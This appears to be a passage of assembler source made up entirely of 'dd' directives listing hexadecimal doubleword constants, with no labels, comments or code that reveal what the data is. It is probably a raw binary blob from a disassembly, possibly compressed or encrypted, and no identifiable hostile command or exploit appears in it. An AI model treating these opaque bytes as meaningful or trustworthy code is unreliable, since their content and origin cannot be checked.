dd 0D8883A8Eh, 4B9D2EF2h, 6C23000Eh, 2295F725h, 143180FFh
dd 0FDB07E8Fh, 980C0BE9h, 0E801BCAFh, 40288BB5h, 18729DDDh
dd 4EC21E00h, 7C14CCC0h, 5D440BE7h, 0FFA85Eh, 0B75C4746h
dd 0E1370FFAh, 0DA20FB5Fh, 0D14B60FDh, 0BDD0AA00h, 97474087h
dd 5FE45Bh, 0DCEB1124h, 4F427E6Bh, 0E421950Ah, 0B90080EDh
dd 75AA7369h, 0F9803F79h, 3C18E3B0h, 0B23ACBEEh, 0B71060B6h
dd 0D319E6h, 0CC72D026h, 86E32A8Ch, 534D1A0Eh, 0BFDC30h
dd 0D4BE773Ch, 396D3859h, 0F100EAA1h, 21DC1BCDh, 15009764h
dd 0ACBD08F6h, 61F9Bh, 0A87A99DDh, 1A3B72C5h, 0B5CD0300h
dd 49810CADh, 16B0006Fh, 0E9202DB4h, 1A029EBCh, 9146F8FCh
dd 2BEDE087h, 88EA60DBh, 643EAA7Ah, 0B0503100h, 962F9C80h
dd 0BBC300CBh, 8178179Eh, 0D5B892D5h, 63BDD30Eh, 85D86053h
dd 72EC60h, 1397EF1Fh, 4DBA4C44h, 0DF365B07h, 0A0301030h
dd 1C32D76h, 42074B9Eh, 6053FE6Eh, 453E3753h, 754C8E8Fh
dd 0DFD7E348h, 18EBD8B9h, 0B0870EA8h, 1EE0315Eh, 84E54BAEh
dd 0B029C5A3h, 3E809CA5h, 0E7BB1048h, 0C07802ACh, 32B6CC0Ch
dd 0A1C116C0h, 63F863Ah, 0DC9D4EE8h, 1FB9810h, 0D4281157h
dd 0F81AC5C2h, 0A80B50EDh, 90BF3Dh, 3911EC47h, 6F101CA2h
dd 22FEC0C1h, 4658BB24h, 8B456C0Eh, 7B07C0D6h, 12BC87h
dd 772FF05Ch, 9DB58C30h, 824157Ch, 0C0008E66h, 627C3DFCh
dd 0F678FDh, 0B82263E4h, 934A2712h, 0CDEE96E8h, 0FEB94507h
dd 38B16DA6h, 4871DE0Fh, 0FE5E4C0h, 0C4CEE8A4h, 0F2B0EC20h
dd 2E2E0260h, 1A01FD3Ch, 0B3E4D27Ch, 1464F4h, 0B4DF8C19h
dd 0E5FEBA63h, 71A1C20Fh, 8E28A080h, 171F93h, 278E2BDh
dd 9CD0AD1Ah, 2150C700h, 0A0C8B74Dh, 863404A5h, 873DF09Ah
dd 3254F009h, 180A3BDDh, 0A4C66BE4h, 0D8760601h, 0B453B1F0h
dd 7ACF044h, 4C480026h, 70304BD9h, 63D6603h, 0F58100B5h
dd 0F29F8947h, 43AE24Ah, 73E8B845h, 79C2800Fh, 4960F614h
dd 11BE5718h, 1F31008Dh, 0DBC9AC85h, 2700A337h, 8B7D5FC5h
dd 1269438Ah, 14830DD5h, 0E9790CF4h, 182E6070h, 0C093B30Ah
dd 350185AEh, 311D177Ch, 61E0965Bh, 0EBC00FBh, 0A68D2BA1h
dd 2F00F130h, 96F434D9h, 1552F9h, 0D166DCBBh, 0ABBE0574h
dd 0B9F2AF00h, 43950A94h, 53440A75h, 1B5C4D0h, 13796660h
dd 0D01C31BAh, 0D5E0C9F6h, 0ECF7A507h, 0E06FE11Dh, 60BD3BDEh
dd 0B15D00F2h, 1F014A18h, 5C49EA3Ch, 0A77E00C4h, 0BDD703Fh
dd 0EBD80053h, 0FA3CC6CEh, 9F00B922h, 335E5C3h, 5888AD1h
dd 5C7B6669h, 0BBE003C6h, 7DC81E29h, 0EB00BD97h, 46E0C472h
dd 24909A27h, 148742h, 0D0CE96B8h, 0B603D37Fh, 18ABBDA7h
dd 0C5810050h, 0DE6B9B93h, 713AC60Eh, 9373AD6h, 1FEC8Bh
dd 0AAEA22B6h, 786C74B3h, 0F2E50029h, 8AE30A05h, 7C030E10h
dd 4628BBA9h, 24A8A8C7h, 47F00D8h, 0A208209Bh, 72005053h
dd 0F1187D9Ah, 6767E16h, 5A9BFE60h, 91106130h, 53004B95h
dd 20733D11h, 5600E96Ah, 0E61E44FEh, 182C1D2h, 0F3E32F10h
dd 8A679FA7h, 24539B91h, 0C8E66C0Ch, 0A2100011h, 0F32A2447h
dd 0E47B6A2Dh, 0E300FD78h, 3C7F264Bh, 0DCB8D5h, 0F1E76402h
dd 0CAEA27DDh, 13AF300h, 0AA119BECh, 633F0056h, 0B37A4B9Fh
dd 2B004787h, 0A436048Ah, 2D919Ah, 3BA29379h, 267371F6h
dd 2E8F5D00h, 48FC0206h, 0FF451E58h, 0B33DC0FEh, 0E1F34108h
dd 858EBD1Eh, 0D99A81C1h, 2FE0FBB7h, 61A90069h, 0A82D10B2h
dd 0F80068C2h, 0C686F7F6h, 370FFFh, 84BAFB25h, 9D8C693Ch
dd 3E3F4EE2h, 87F89DA1h, 0A40E881h, 5DEC5655h, 0A3CE00F3h
dd 4ABCB342h, 5C009F97h, 99EDA904h, 3D43FDh, 0CB27F659h
dd 3AD95B9Ah, 473B400Ah, 3E009CB2h, 43A5DF6Ah, 0ECF432h
dd 0EB3401ABh, 6DDEB98Fh, 1804A330h, 2FC253h, 216A37FCh
dd 484E67A7h, 7E078EF8h, 222829E7h, 8FDD0CE2h, 73DE00D0h
dd 253415Eh, 0AB303B81h, 0ED633DAEh, 6E6B2100h, 759B215Eh
dd 0D1081EDFh, 0CC018163h, 0F9AB6218h, 0F31271F6h, 4C3E3100h
dd 8C63B2E0h, 91A900C1h, 8F24ECB4h, 1F07F0DCh, 0C303E3D1h
dd 1823403Ch, 18F1B66Fh, 3624E748h, 424024B2h, 1C17EFC6h
dd 8C10D2E3h, 3C08DA9Bh, 0A720E960h, 0F31EF2Ah, 5777D4D0h
dd 49228426h, 366F240Ch, 3C158F9h, 0ACC218A6h, 3CE09C03h
dd 6EF2AFB6h, 2AEA7000h, 4F376BDEh, 0E361206h, 8BF900E9h
dd 5570B4B9h, 9103E7FCh, 3CBBD113h, 12A1B089h, 0BFBD0010h
dd 9B08446Ah, 0A300D7F6h, 6EB7A42Fh, 3C3BD87Bh, 8C805EF7h
dd 52FDF586h, 400BB09Dh, 80773022h, 0EFD73F73h, 1CD5000Bh
dd 91C8EABBh, 0DA3CF3DFh, 7E60079Ch, 0C570DBACh, 1DC5F47h
dd 6AECC039h, 0F87019CCh, 930E8930h, 631B9A7Fh, 0C8854C8Eh
dd 0E42E5Dh, 9B23752Bh, 0F854D7C9h, 24EA8F07h, 3B96BFC6h
dd 86048711h, 10AEECDDh, 3A212700h, 0C1D787F5h, 0E9B50056h
dd 0EF8F3CB3h, 9F01DD54h, 27F741F6h, 2988447Ch, 8A884FA5h
dd 84CB908Bh, 8944531Ch, 280D4A52h, 0AD84C710h, 0B06D4F51h
dd 8FAF9100h, 72B1667h, 980073B0h, 0B3C3596h, 34BE6Dh
dd 588DE782h, 8F7038F3h, 0E4A2B200h, 7013512h, 0F2870098h
dd 0F754FA82h, 6D00F4A0h, 0D40A8581h, 0AE1319h, 0B01D5035h
dd 0B141FE4Eh, 8112AC18h, 0ECC0C528h, 29DE0EC2h, 5960A2B8h
dd 177064BAh, 774D1900h, 0B77935BFh, 0BB480E97h, 0D5C013E3h
dd 4901122Ah, 0CCBD5C00h, 0FA036825h, 0B4AE0780h, 5D9E030h
dd 64E300B0h, 0F510E2F7h, 33F93A00h, 5642D27Dh, 2E90C6h
dd 0EC46DC48h, 3CEE6086h, 19C0ACF0h, 94876E4Ch, 0E7D0003Dh
dd 636275BFh, 91C7DA56h, 0C4B0D8DEh, 0A9B6582h, 0F691E83Fh
dd 0A0C900F4h, 3D13107Ah, 75B14E00h, 0D4A483B7h, 0DB500FDh
dd 0B9502889h, 0BE007C96h, 0A76E4A9Ah, 6ABA11h, 75BD200Fh
dd 0B9E0B101h, 0C563BF00h, 46419830h, 225D00D8h, 0E35E17Fh
dd 33009538h, 0A2193D4Ah, 96251Fh, 1C94C824h, 0FE637176h
dd 0BF72D33Ch, 80CE3F41h, 3F53A41Ah, 0EABE7DBFh, 18E2000Ch
dd 4259AEC3h, 5CFEDC5Ah, 29EBB600h, 0B5623597h, 0E230186Dh
dd 19F828D4h, 0E5F77700h, 0D0DB1187h, 9D2100B3h, 7A04B917h
dd 6C006B49h, 77C3A7F4h, 0EB557CAh, 62814F63h, 19B2D2C0h
dd 502E469h, 17846BC3h, 0CBCAE0D3h, 5DD63A40h, 0FA62A180h
dd 75F587F9h, 448A6E00h, 70D53BE0h, 4C6801FBh, 7A4C839h
dd 0EFC83087h, 0A9D60E2Eh, 75C57E00h, 0FE2211h, 6CA6782Eh
dd 0D2F125CFh, 442D2703h, 0D7730D43h, 9A598E50h, 0CB1E0049h
dd 39C77F29h, 0C1009D08h
dd 10F1A898h, 0B882C226h, 36690033h, 0D1D72A7Ch, 6C00855Ah
dd 945620AEh, 2FBBE9h, 9818C8B0h, 0CC714E1Dh, 68DDA300h
dd 42FE7A2Ch, 0F8E602E5h, 997B98B8h, 0AF375EE0h, 5C33173Ch
dd 3D3A0004h, 0C2C0CD15h, 645E0072h, 52EA9697h, 1300039Ch
dd 0A4F5091Bh, 0FF219D3h, 0AEF101D5h, 639C5620h, 89026E94h
dd 5A3D8D13h, 0CF2F40F2h, 1D1E4BBh, 39CB9133h, 50EC1E66h
dd 95F7B2E0h, 88282700h, 56C5AC5Ah, 0DD9091h, 90A87B9Ch
dd 26B9056Ch, 7FB49800h, 634421E7h, 0F49B00D3h, 0CD948548h
dd 352C0C18h, 7900CF78h, 42E00427h, 68D9011Ch, 77DD4422h
dd 175020F1h, 71657A00h, 0D867B39Bh, 0E3F500ABh, 0F27FE9BDh
dd 401CCE76h, 32CF6112h, 51D7C079h, 0A623Ah, 27F01067h
dd 58C31C3Ch, 396E9B00h, 9EE119ADh, 0DF305CB2h, 70D024h
dd 11AA4202h, 0A40CCC07h, 70663EDDh, 0DCD801ACh, 5A7B26EEh
dd 9FEFDC3Fh, 7F1F571Eh, 480D480h, 847642h, 0EBEA5027h
dd 644853EDh, 17E2C003h, 8037603Bh, 172514Eh, 90A2FCD7h
dd 43806E7Fh, 7E8043B8h, 0F4001E40h, 752169AFh, 3E4C1AD6h
dd 9A8EC70Dh, 0B40034D2h, 91824F16h, 0A4670900h, 5E80737Dh
dd 14E039A5h, 8457D400h, 9C3851D9h, 1293EA01h, 755B4EEh
dd 8582C8h, 9F58FE25h, 0D629842Dh, 0A328300h, 98ECA8BAh
dd 6B510120h, 62D949Ch, 6F46FC68h, 0BBDB4B00h, 18B026DAh
dd 7356007Eh, 0EEB538CCh, 2013FF0h, 242D66B2h, 87D9F8DAh
dd 3B1D160h, 0E85774F3h, 73C0E378h, 0E216B30Ch, 0FB0087A6h
dd 0B53ADF88h, 0CF57003Ch, 5E1EECC9h, 0B4013429h, 4AC02F89h
dd 9730C2CCh, 7DF80C26h, 0FD18B5DCh, 3E337F00h, 1651D380h
dd 0FF7E019Ch, 0DF440397h, 0B819CCB7h, 0F93954F8h, 0CDBE0075h
dd 343B0939h, 736500D8h, 0B8B39DE8h, 16008EA1h, 82B5324Ah
dd 1FD9644h, 0E66388FCh, 0C5A33190h, 0C447F162h, 0FE01F8C6h
dd 0FB25FAA8h, 0C9C899B5h, 5CE04Ch, 0D31F18F1h, 3E7C3B05h
dd 0BF6F5D01h, 0E46BCB64h, 26CDAFC0h, 73295B6h, 80CAD943h
dd 0B5608220h, 17BA0300h, 0FB3053B3h, 96510540h, 0FC8A7404h
dd 0AF0A0003h, 0EEFD1760h, 0D51C58A9h, 2C35A300h, 8C4C5EDh
dd 92584650h, 7298FE02h, 0C0346BC6h, 7D57ECCh, 6045BCA3h
dd 0B76FB004h, 64B8D87Dh, 0DC7A9A1Fh, 41E1FC87h, 5227CA21h
dd 6377ECh, 44F864D2h, 0C76D9C8Dh, 9B01EFB0h, 35034518h
dd 0FBD8A822h, 4C8A00AEh, 530BCF9h, 7700987Fh, 9B0ACFADh
dd 805765h, 7228AA1Fh, 8731CC7h, 0C4AD8800h, 514B0C27h
dd 59BE001Bh, 0EAE948DBh, 530364DAh, 91B1D873h, 2132B06Ah
dd 7C8700DFh, 36606F47h, 4E0035AAh, 3B5141E8h, 77E0323h
dd 400714A7h, 0BAC860D9h, 97010B81h, 72F1419Eh, 0B5EC804Dh
dd 0C17F00ABh, 0B9358955h, 962E6DA9h, 951DBA2Eh, 0A75F8B40h
dd 3F7671A0h, 0B980090Ah, 8875363h, 1F047742h, 83F660EDh
dd 0C60354C5h, 0EADA71D5h, 0CF03E03Bh, 804F0415h, 80815C35h
dd 0E1EABD0Dh, 828C750Fh, 0BC8BC07Ch, 0B3769A0h, 0E51F3593h
dd 1986B580h, 0CA0C124Bh, 0F02AFB1Ah, 62AB00DBh, 7F4D1540h
dd 0E53AE147h, 5A00F9E3h, 0C15D41EDh, 0B596A0h, 47681ACBh
dd 2F8C547Dh, 99136B00h, 1B23D278h, 555000FEh, 0AD7963A0h
dd 9B18C566h, 30F8B90Bh, 0EB7F00A9h, 7ED34152h, 31EF9E1h
dd 0F140FB5Bh, 0B7ED24F6h, 1C210077h, 638E2C07h, 6490AEC6h
dd 0EFA0877Bh, 0C9011836h, 788FB031h, 0FEC02A40h, 0F2590079h
dd 0A3D21421h, 0A500262Bh, 31CBF04Eh, 0D81F0Ah, 6AECFBBCh
dd 0B82A9D09h, 0EAFF6900h, 60038951h, 8F1D009Ch, 0AFA0DAE4h
dd 200085FBh, 0ED4B442Ch, 15B8BE3h, 427AE99Eh, 0E0F8A3AEh
dd 0E100B250h, 0F2B1DD17h, 3AC069Fh, 4F452667h, 0DAC02934h
dd 620FC216h, 0A0A5752Bh, 0AAD2ED5Dh, 2D6A01C3h, 531C9DA8h
dd 983FF09Fh, 0EEA10926h, 419A1100h, 0C16AE7h, 0B2927AAEh
dd 0DB755A91h, 0DA003BF4h, 436F691Ch, 0B0F7ECDCh, 1ACD0384h
dd 0B72E28C2h, 73F0DDD3h, 7200703Bh, 0EBF662B4h, 0A1883F9h
dd 8E8DED8Fh, 0D34301EFh, 0F8ECBEF0h, 6C2C587Fh, 7C3FC2F1h
dd 0D4003A98h, 0EC7C8183h, 9D9411h, 5C851E62h, 183ADAEBh
dd 0F07BA800h, 5AD48AACh, 0F4CC9003h, 14A4A89Fh, 4F7800C4h
dd 0AF325664h, 4FAEC76h, 0AB0080E2h, 52CC7A23h, 0E3847A7h
dd 8A51E19Eh, 0EEA028A0h, 6A3923F7h, 0ADB28193h, 1ADB206Ch
dd 0EF3C6080h, 99945C57h, 7471EC1Eh, 43864540h, 0F64CD44Fh
dd 0EE150039h, 801B0B07h, 0FF2803F5h, 0BE0A8C2Bh, 8849830Eh
dd 6E3A200h, 0C16971h, 92E8F7C0h, 0D624D16Fh, 0B304D200h
dd 99B17FCDh, 0AF86001Eh, 0BCAC511Bh, 501E3D95h, 0ED00565Ch
dd 7997650Ch, 0B4C201D3h, 0DA4917E6h, 24D7FCF6h, 3C003DF2h
dd 0A932071Fh, 30749739h, 2AC81508h, 5D1D1AE6h, 3F406AA5h
dd 0AF70CC14h, 0F7CB00BBh, 490531A7h, 7D126492h, 270EE893h
dd 0ABAC0065h, 3D0F6F0h, 89BD7BB8h, 70997A30h, 9144206Ah
dd 51F44A00h, 0E5959313h, 0BEEE007Eh, 807CE6F5h, 0C90A3461h
dd 0A4411502h, 6D43F000h, 0A071D0h, 0DE90F45Fh, 9B0F8A7Eh
dd 7C633700h, 2AC43E85h, 758E00ADh, 0B545FE95h, 0A600CBCFh
dd 41A758B9h, 3CC9A87Dh, 591EE61Bh, 145A136Ch, 9F004E3Eh
dd 0EFCFAF73h, 4B00D651h, 96ACF54Eh, 39EB5FB1h, 0A103C324h
dd 5DF1C61Eh, 4DCD04F8h, 51E36014h, 126600F0h, 846EB83Bh
dd 893D0097h, 0E28F02AEh, 0BF2EBB10h, 80390591h, 1BF5166Eh
dd 1972103h, 827FA05Eh, 0F9CE9CD9h, 73A4E423h, 8A539628h
dd 0EAD0C900h, 0D4414966h, 0A17001F2h, 0B45D95B5h, 440DFC37h
dd 9C48CEE5h, 0A40032ADh, 3D86BD31h, 71D1FBh, 761653C4h
dd 95E3F4B6h, 0DF0063F4h, 69DD09C3h, 72F10B2h, 1E3F56ECh
dd 0EEAC04Eh, 431F7C1Dh, 0E2C29251h, 80EEF687h, 0AA89498Ch
dd 2D97016Ch, 0E4DA088Dh, 0FCAC20FAh, 0D44CC507h, 1690D288h
dd 1DF08EF9h, 0C46BA44Bh, 93A52BA1h, 2DA8B8BCh, 481FB4B5h
dd 803DD25Bh, 0F0389541h, 907D6DD1h, 0CDCB00C0h, 0DBA02D75h
dd 0AC1EEB56h, 0FD4C4936h, 499270DDh, 0EE00B4E4h, 0D5CB2DA7h
dd 38009632h, 0A6E18889h, 9C3A0F7h, 0B930C506h, 1F909000h
dd 8539BEF1h, 23A87C7h, 21D05D4Ah, 308D2EC4h, 0E428BCC0h
dd 1800C1A8h, 0F9790BB9h, 43116Ah, 0A5A121A9h, 7EEC2649h
dd 0A4239h, 0B95F8971h, 0CE46C612h, 1CC09C62h, 81E12F80h
dd 0C0D65030h, 0BF3F7h, 0AD6FB1B8h, 6A8B2ED7h, 55C94900h
dd 0FB625090h, 0EA740059h, 0FEEE2FD9h, 0B600F654h, 24891ADFh
dd 3FD8BAh, 0CD9D143Bh, 1F76E2BDh, 9441E90Bh, 0B5FC016Dh
dd 5220A504h, 0B6D815F8h, 4A00B8E8h, 0C2FD3986h, 35FABF45h
dd 4B10EF00h, 0C09DA55Bh, 42548DDh, 0B3DA8700h, 46F57C8h
dd 0BCDE000h, 187EDB91h, 0A909001Ch, 13A519AAh, 0E090DC33h
dd 72942A00h, 673926EBh, 0D2230074h, 5A4D50A0h, 4B1D578Fh
dd 84806621h, 0F99832F2h, 0B3541D13h, 0BB038009h, 834F70FAh
dd 78FD9400h, 0C050B7E9h, 570B1A2h, 0C0AE39E6h, 0C34A664h
dd 9D8A9B13h, 3D1DC000h, 40794C59h, 0B21F20F0h, 0BA833866h
dd 0B0BD1B91h, 0EA9C4BCh, 0CCC6C151h, 182F3E09h, 92CC40F3h
dd 7277EA93h, 0B7DB3600h, 8BC7C3E0h, 19490A1h, 99AE5639h
dd 23D229F2h, 443C0BACh
dd 0EC9E0030h, 0E904E69h, 6DD4A66Fh, 0F4AF0F40h, 0BC00933Fh
dd 8160FC7Eh, 28272BDAh, 0E9D841C9h, 81020h, 6C537328h
dd 29C314B2h, 0D4BC1A00h, 6DD07E59h, 0B1D9003Ah, 0AA288E18h
dd 487689F7h, 570F7190h, 801D73CCh, 9E1C6743h, 413E0081h
dd 0C2CDAF02h, 26009D44h, 5A5BC31Ah, 0CB7B92h, 439F1C0Ah
dd 0EE653B82h, 15A0F300h, 0A178BC68h, 470B00D9h, 928B466Dh
dd 263BC2F7h, 0EC7D8206h, 0E0F3A674h, 54AC53Ch, 0FFEBBE34h
dd 50E8C069h, 6000E3A5h, 119B5F4Fh, 1709067h, 0FCF5F303h
dd 409C537Eh, 8CE88EA4h, 9998E728h, 912FA800h, 0EA23B00Ah
dd 46D000F9h, 2B059E45h, 6E18FB99h, 9C305B7Fh, 0A616022Ah
dd 1378E30h, 0D1217069h, 2CD3FC31h, 9BF5A900h, 0AC30E267h
dd 0B36400EDh, 95481643h, 0C80F8B57h, 83A6E8h, 9E88EE2Ch
dd 991703D8h, 9547DB07h, 7303D87Ch, 3027A8Ch, 82ADF8CBh
dd 0AE8D0005h, 5E501FD0h, 7E0F3078h, 0E05603C4h, 1D2B81E8h
dd 8C101F6Fh, 886D005Bh, 3DFA652Fh, 33550701h, 0F11585B1h
dd 3FEC5D71h, 77A700A8h, 5D29E61Eh, 0AB041DF6h, 1B820822h
dd 0B8CD4880h, 13550098h, 0E706DF9Dh, 8507622Ah, 5E1E466h
dd 86616531h, 2DE9CCCh, 0A501E20Bh, 1886118Ah, 9F0E111Fh
dd 61D20525h, 554FB24Ah, 1A074828h, 0E0F8AA80h, 1F5CF2D7h
dd 0A361DF00h, 42DD174Eh, 518112F4h, 4C9045F8h, 441C006Ch
dd 4AD65987h, 725B6703h, 0E7CBC8ECh, 27A7DF80h, 79037CBEh
dd 0D07AACh, 0F9CE5D4Fh, 650E14C0h, 0F3067900h, 37A4B14Ch
dd 82220053h, 6A09D396h, 0FC005AD8h, 273B2C1Ch, 30C751h
dd 763FEC9Bh, 4AF33692h, 0C0C66E1Dh, 0A3DF2600h, 0F2DDB85h
dd 8218B9BEh, 973C3A0h, 31C05DD2h, 13E59868h, 0AC2E543Bh
dd 97853783h, 500580C8h, 4E1916B7h, 3878B488h, 6CF01447h
dd 0E1C1C4h, 0F8B7FF6Ah, 0E7E34DBCh, 0C60C8500h, 141C9D21h
dd 93C80071h, 4E8615C5h, 0E500A6ECh, 68BE5442h, 3F836736h
dd 690E97B5h, 0F680AE22h, 92FA19C0h, 0B30E5F07h, 55C39E0Fh
dd 5023A8F0h, 3BE738Eh, 0F2B44BCFh, 54902C6Ah, 512E0519h
dd 0F6004F08h, 92D8320h, 7C50067h, 33AB1F56h, 71F80CCAh
dd 58129E00h, 8AB83AA6h, 0CF59004Fh, 6CACE355h, 0C116FE89h
dd 0E0008012h, 6DF27243h, 0E6810051h, 0E4ABBF07h, 4C7361EAh
dd 92EBFC0Fh, 48A78075h, 2E834D8Fh, 27A03F0h, 91E3EACAh
dd 0AE07A4ABh, 0B804505Ah, 1366FEB4h, 21F509h, 9C5BBBEEh
dd 19BA60Eh, 703B7800h, 97C485F9h, 0D39E0139h, 0F7084A19h
dd 63188316h, 0A71203h, 0EBADAE41h, 0C64534C0h, 4C92DF0Ch
dd 0C0B508EEh, 0C0D18C21h, 0EF011167h, 0E7457BD0h, 588E91BEh
dd 0B3801084h, 0EF5185F8h, 0B6030D9h, 0C0082218h, 0C4EE453Bh
dd 0D08D40A1h, 0F0B23C0h, 508E4A72h, 0F12E9B60h, 0AB77F821h
dd 0BDE629C0h, 3917E08h, 0A5B44559h, 69E6C4FDh, 0D7010B71h
dd 85C694E2h, 2FE44EACh, 0EC10C1D2h, 28E3C1FBh, 0BACD00B0h
dd 98755217h, 0F9F30C16h, 7E083E83h, 10D521C0h, 0F67252h
dd 0FCA97455h, 9384E2C4h, 886C450Fh, 6D414FAh, 0FDF456E1h
dd 0C090720h, 4025F66Dh, 0F31176CDh, 2086A202h, 0C040A9C7h
dd 1DA8951h, 79210445h, 0D82C7843h, 1700FB7Bh, 2B0ECEFCh
dd 0F5A36A4h, 9841CF53h, 9E24F1E0h, 47008DE0h, 9BFC685h
dd 7A197DFh, 64398BA8h, 0CBCDA068h, 0D03C545Dh, 1CC1002Eh
dd 25701B48h, 1A6200C0h, 0B9FF1265h, 500CE3Bh, 0EC408FBBh
dd 251BF2Eh, 93D1D88Bh, 6CE0A539h, 0F50F5EB9h, 8E2ACFADh
dd 0FBE980D7h, 72054888h, 0DB4003A9h, 5CC5B23Dh, 0C72AEF0h
dd 0A330F761h, 49F8F114h, 0E9277EDh, 0BEEA7A53h, 0BB21898Ch
dd 0A3DF800h, 0A4F02BEFh, 0B6A8065Fh, 50ADA923h, 67CBEC0Eh
dd 8203BF81h, 1A56F1D0h, 40873518h, 48789341h, 3D04EF38h
dd 0BEA2ED1Fh, 0AEFC31h, 3DF6B5h, 0E6FD5E0Ch, 64AB04FBh
dd 0F235900h, 6F799CC7h, 0C73D7D16h, 4183F431h, 80AC4C53h
dd 0E5774D11h, 0C1EDEBCh, 1F27F8F0h, 21C0B808h, 6AE57AEDh
dd 2AFF0CDFh, 115136A9h, 1A000998h, 0F2B9C214h, 0A95062F8h
dd 6DC4C3ACh, 3B28B66Ah, 49B8228Fh, 20F28D66h, 6D4B1C00h
dd 613493D5h, 5C9A018Ah, 8BDF4C10h, 0C651B813h, 646CA102h
dd 8931302Fh, 6D881E13h, 1D71BD1Ah, 8E058778h, 18975C7Eh
dd 5F605018h, 0D810C045h, 9AEF0534h, 0F4873B00h, 0ACEF8F7h
dd 51B93A93h, 200E8D8h, 0CF5D2EF9h, 9A003657h, 989B6DBFh
dd 0EA95B519h, 3CB80083h, 12DAB3E6h, 0F3011EDCh, 21A918BFh
dd 7DC07CF4h, 241900DFh, 0FC286F20h, 9100F36Bh, 0AD5E952h
dd 6E803Fh, 0B1DAB6DBh, 0A7095802h, 3E67C101h, 20D8BE21h
dd 0ECA9F70h, 0C63CA2BDh, 81DA74C0h, 8F00E80Fh, 5875CE6Eh
dd 3ED79038h, 500C79D2h, 1E186B44h, 4D2CFF00h, 54BD4BD8h
dd 38C001Ch, 0F977116Ch, 3C07C43Dh, 20F29CA1h, 0BCCBABC0h
dd 46BF0043h, 60DE1B39h, 0BB000770h, 7604A2A3h, 401F9950h
dd 0A700AA0Ch, 0DEF4887Dh, 406F38B1h, 5F188101h, 0F5D879D7h
dd 24671D3Bh, 0A3878059h, 773D723Ch, 0FE47DA02h, 0FD8BF4E4h
dd 7B1D9B80h, 87FC26Eh, 78035A74h, 0F95CA211h, 0FAF038F1h
dd 81F5B883h, 80A49946h, 670A9FCDh, 5C5E8F00h, 0F93B1627h
dd 0B8E40082h, 0B46BB1E5h, 9878F5D4h, 8FFEE200h, 49025A89h
dd 0CCF400D0h, 0D69F2AADh, 0E1189BDBh, 9E61F3FAh, 84700092h
dd 6BA876C2h, 0F800FC3Bh, 0BF7F8E0Fh, 16B76429h, 0FE4B8B2Bh
dd 4DC5300h, 1C41038h, 72221449h, 0D47A92F5h, 10003BBh
dd 0A10E269Ah, 10CA559h, 0E1CE9057h, 838D6955h, 0A6F0E470h
dd 783F98B4h, 87E906F8h, 0D8AD6320h, 25339724h, 0A1FBFE0Ch
dd 0C06A7893h, 5BFDC538h, 8F0019D1h, 0F3EE2A23h, 0D0F15h
dd 0BB21E9AEh, 0B090DB4Ch, 6010A405h, 43C0AB7Ah, 57F0CFh
dd 0F4A254E4h, 301EED4h, 950798ECh, 0DCC36F8h, 7D94BF80h
dd 69513DF9h, 0E2026E00h, 44DB0C8Ah, 11E8C1Ah, 7AF14012h
dd 4BB8F0h, 0E33A728Eh, 78F6C2D1h, 6A00AAF8h, 213FC695h
dd 4EEC65h, 221A9118h, 7FF9E76Bh, 8600E4E4h, 7B8F2090h
dd 0DE5199FAh, 92590038h, 5DEF0624h, 0CBF49E19h, 219C5709h
dd 0E93EC0B9h, 449B88E2h, 0D4890F0Fh, 294FC08Dh, 37EFD9BFh
dd 0A1A020ABh, 0BC900F3Fh, 0C0A60038h, 91C8780Bh, 26CD1F54h
dd 4FCB066Fh, 0B006D890h, 9E0C3A9Ah, 0F05A0031h, 176285B4h
dd 0FD1D5FD2h, 603BD3BEh, 0B5FBCC21h, 1CAC0080h, 3028D85Ch
dd 0E30067A7h, 0D42687ABh, 1627A93h, 8EF97CD2h, 5097A57Bh
dd 3F249574h, 0C921EF7Bh, 7BFE08F5h, 0C5018410h, 0DF454E6Fh
dd 7DCE60FBh, 9DFC6604h, 0BA1EF0h, 25CE9532h, 46004385h
dd 0B737687h, 0EF9FA4Eh, 0E571806h, 6ED6F2C0h, 4000B4BFh
dd 46A66CB2h, 0F8E1A88h, 1FAA4C79h, 49B400F7h, 71F5FD4Eh
dd 0EF02A11Ch, 50F2BD80h, 1CDA0F03h, 40F6FC55h, 89DF917Ah
dd 7000D0E8h, 0D7AC4A7Eh, 192C0F1h, 51FA30A7h, 0E5D9F5C6h
dd 0C914D805h, 12C3FD00h, 41DE820Eh, 0A54200BBh, 0FE0D92A8h
dd 2DE89B11h, 0BD201760h, 621BBDAh, 0D3C79162h, 500039DEh
dd 8BB9C341h, 7DEB9280h, 872F3A3Bh, 0CF687CB1h, 0C5288C7Dh
dd 267E08DDh, 0ECE3ECh, 0DC749E72h, 0FA3034DBh, 5D03690Bh
dd 0F978001Fh, 73168467h
dd 0C40CF753h, 0C8937F41h, 1C49CE15h, 24C6B083h, 9B1148h
dd 0ADCF0140h, 6659C250h, 210D089Dh, 40C96400h, 0FDE03799h
dd 1FE1E015h, 3FB1C1h, 0FE1341D8h, 660730A3h, 6B29D774h
dd 0D8FD05F3h, 4C92ADEEh, 3005413Ch, 20B20E1Fh, 340363Ch
dd 3F9DCF23h, 9E1F52C4h, 0ED58C43Fh, 0E4AA1210h, 0F74C0083h
dd 9BAD6037h, 6A00E078h, 9F52670h, 3873D43h, 62188E12h
dd 80100E71h, 0CA00C7BCh, 36CEA0B9h, 1D00D9B2h, 10BD568Ah
dd 6C391Ch, 90CCE1E4h, 5C47E52Eh, 98B70503h, 0F0256F66h
dd 101F87h, 0E0160D03h, 0CB1D0D3h, 0C0CFEC1Fh, 0F50B3481h
dd 6CE88807h, 81FB0308h, 0ADDCE849h, 0BB5691B0h, 39314E1Eh
dd 0AB96DD41h, 0BC8D2A6h, 81650237h, 0AA4F6AB1h, 0E84D0E41h
dd 90361BAh, 0A9596E20h, 0B5D8B81Ah, 97680099h, 0CC245392h
dd 703B7D2Ah, 4D1E9FD4h, 2200E92Ch, 0C80CA4C7h, 0D818C0E4h
dd 0F2668674h, 2BCFD303h, 0C785D47Ah, 77457630h, 8952064Dh
dd 881A562h, 1621D860h, 0F02F50FEh, 0C91100BBh, 0A791D3CAh
dd 0D40396E0h, 55A33901h, 648789DAh, 486A2F70h, 406000E9h
dd 6CDD4DACh, 0AD3C5C28h, 0E2401E52h, 7BE23002h, 6EC47600h
dd 5D2FAE79h, 50BC60A4h, 71EAAF4Dh, 0AC7DD3Ch, 34BE3C7Ch
dd 602DE208h, 4F584575h, 658C5A43h, 4B487954h, 777A030Dh
dd 0A655BDEDh, 1FDB0020h, 51A1DF1Bh, 840F2E89h, 548C70h
dd 0C9CD583Fh, 837B01EAh, 0AEB97766h, 0C8909716h, 0A2D0FA00h
